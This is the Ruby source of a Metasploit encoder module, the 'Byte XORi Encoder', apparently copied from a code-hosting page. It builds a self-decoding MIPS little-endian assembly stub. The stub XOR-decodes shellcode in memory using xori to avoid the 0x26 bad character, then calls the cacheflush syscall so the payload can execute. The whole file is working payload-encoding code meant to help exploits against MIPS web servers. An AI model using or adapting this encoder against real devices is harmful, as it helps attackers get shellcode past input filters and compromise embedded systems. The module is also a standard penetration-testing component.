149 lines
6.5 KiB
Ruby
149 lines
6.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'metasm'
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class MetasploitModule < Msf::Encoder::Xor
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Rank = NormalRanking
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def initialize
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super(
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'Name' => 'Byte XORi Encoder',
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'Description' => %q{
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Mips Web server exploit friendly xor encoder. This encoder has been found useful on
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situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS
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architectures, this one is based on the xori instruction.
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},
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'Author' =>
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[
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'Julien Tinnes <julien[at]cr0.org>', # original longxor encoder, which this one is based on
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'juan vazquez', # byte_xori encoder
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'Pedro Ribeiro <pedrib@gmail.com>', # fix for Linux >= 2.6.11 (set up cacheflush() args properly)
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],
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'Arch' => ARCH_MIPSLE,
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'License' => MSF_LICENSE,
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'Decoder' =>
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{
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'KeySize' => 1,
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'BlockSize' => 1,
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'KeyPack' => 'C',
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})
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end
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#
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# Returns the decoder stub that is adjusted for the size of the buffer
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# being encoded.
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#
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def decoder_stub(state)
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# add 4 number of passes for the space reserved for the key, at the end of the decoder stub
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# (see commented source)
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number_of_passes=state.buf.length+4
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raise EncodingError.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 32766
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# 16-bits not (again, see also commented source)
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reg_14 = (number_of_passes+1)^0xFFFF
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reg_5 = state.buf.length^0xFFFF
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decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:little), <<EOS).encoded.data
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main:
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li macro reg, imm
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addiu reg, $0, imm ; 0xYYYYXX24 - xx: reg #, yyyy: imm # imm must be equal or less than 0x7fff
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endm
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li ($14, #{reg_14}) ; 0xXXXX0e24 - store in $14 the number of passes (two's complement) - xxxx (number of passes)
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nor $14, $14, $0 ; 0x2770c001 - get in $14 the number of passes
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li ($11,-84) ; 0xacff0b24 - store in $11 the offset to the end of the decoder (two's complement) (from the addu instr)
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; acts as getpc
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next:
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bltzal $8, next ; 0xffff1005 - branch to next if $8 < 0, store return address in $31 ($ra); pipelining executes next instr.
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slti $8, $0, 0x#{slti_imm(state)} ; 0xXXXX0828 - Set $8 = 0; Set $8 = 1 if $0 < imm; else $8 = 0 / xxxx: imm
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nor $11, $11, $0 ; 0x27586001 - get in $11 the offset to the end of the decoder (from the addu instr)
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addu $25, $31, $11 ; 0x21c8eb03 - get in $25 a pointer to the end of the decoder stub
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addu $16, $31, $11 ; $16 too (used to set up the cacheflush() arg down below)
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slti $23, $0, 0x#{slti_imm(state)} ; 0xXXXX1728 - Set $23 = 0 (Set $23 = 1 if $0 < imm; else $23 = 0) / xxxx: imm
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lb $17, -1($25) ; 0xffff3183 - Load xor key in $17 (stored on the last byte of the decoder stub)
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; Init $6 and $15
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li ($13, -4) ; 0xfcff0d24 - $13 = -4
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nor $6, $13, $0 ; 0x2730a001 - $6 = 3 ; used to easily get the cacheflush parameter
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addi $15, $6, -2 ; 0xfeffcf20 - $15 = 1 ($15 = decoding loop counter increment)
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; In order avoid null bytes, decode also the xor key, so memory can be
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; referenced with offset -1
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loop:
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lb $8, -4($25) ; 0xfcff2883 - Load in $8 the byte to decode
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addu $23, $23, $15 ; 0x21b8ef02 - Increment the counter ($23)
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xori $3, $8, 0x#{padded_key(state)} ; 0xf2610339 - xori decoding instruction, store the decoded byte on $3
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#{set_on_less_than(state)} ; 0xXXf0ee02 - $30 = 1 if $23 < $14; else $30 = 0 (update branch condition) / xx: 0x2b if slti, 0x2a if slt
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sb $3, -4($25) ; 0xfcff23a3 - Store decoded byte on memory
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bne $0, $30, loop ; 0xfaffc017 - branch to loop if $30 != 0 (ranch while bytes to decode)
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addu $25, $25, $15 ; 0x21c82f03 - next instruction to decode, executed because of the pipelining
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addiu $4, $16, -4 ; cacheflush() addr parameter
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li( $10,#{reg_5}) ; cacheflush() nbytes parameter
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nor $5, $10, $0 ; same as above
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li ($2, 4147) ; 0x33100224 - cacheflush sytem call
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syscall 0x52950 ; 0x0c544a01
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nop ; encoded shellcoded must be here (xor key right here ;) after decoding will result in a nop
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EOS
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return decoder
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end
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def padded_key(state, size=1)
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key = Rex::Text.rand_text(size, state.badchars)
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key << [state.key].pack("C")
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return key.unpack("n")[0].to_s(16)
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end
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# Returns an two-bytes immediate value without badchars. The value must be
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# on the 0x8000-0x8fff so it is used as negative value by slti (set less
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# than signed immediate)
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def slti_imm(state)
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imm = Rex::Text.rand_text(2, state.badchars + (0x00..0x7f).to_a.pack("C*"))
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return imm.unpack("n")[0].to_s(16)
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end
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# Since 0x14 contains the number of passes, and because of the li macro, can't be
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# longer than 0x7fff, both sltu (unsigned) and slt (signed) operations can be used
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# here
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def set_on_less_than(state)
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instructions = {
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"sltu $30, $23, $14" => "\x2b\xf0\xee\x02", # set less than unsigned
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"slt $30, $23, $14" => "\x2a\xf0\xee\x02" # set less than
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}
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instructions.each do |k,v|
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if Rex::Text.badchar_index(v, state.badchars) == nil
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return k
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end
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end
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raise BadcharError.new,
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"The #{self.name} encoder failed to encode the decoder stub without bad characters.",
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caller
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end
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def encode_finalize_stub(state, stub)
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# Including the key into the stub by ourselves because it should be located
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# in the last 4 bytes of the decoder stub. In this way decoding will convert
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# these bytes into a nop instruction (0x00000000). The Msf::Encoder only supports
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# one decoder_key_offset position
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real_key = state.key
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stub[-4, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
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stub[-3, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
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stub[-2, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
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stub[-1, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
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return stub
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end
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end
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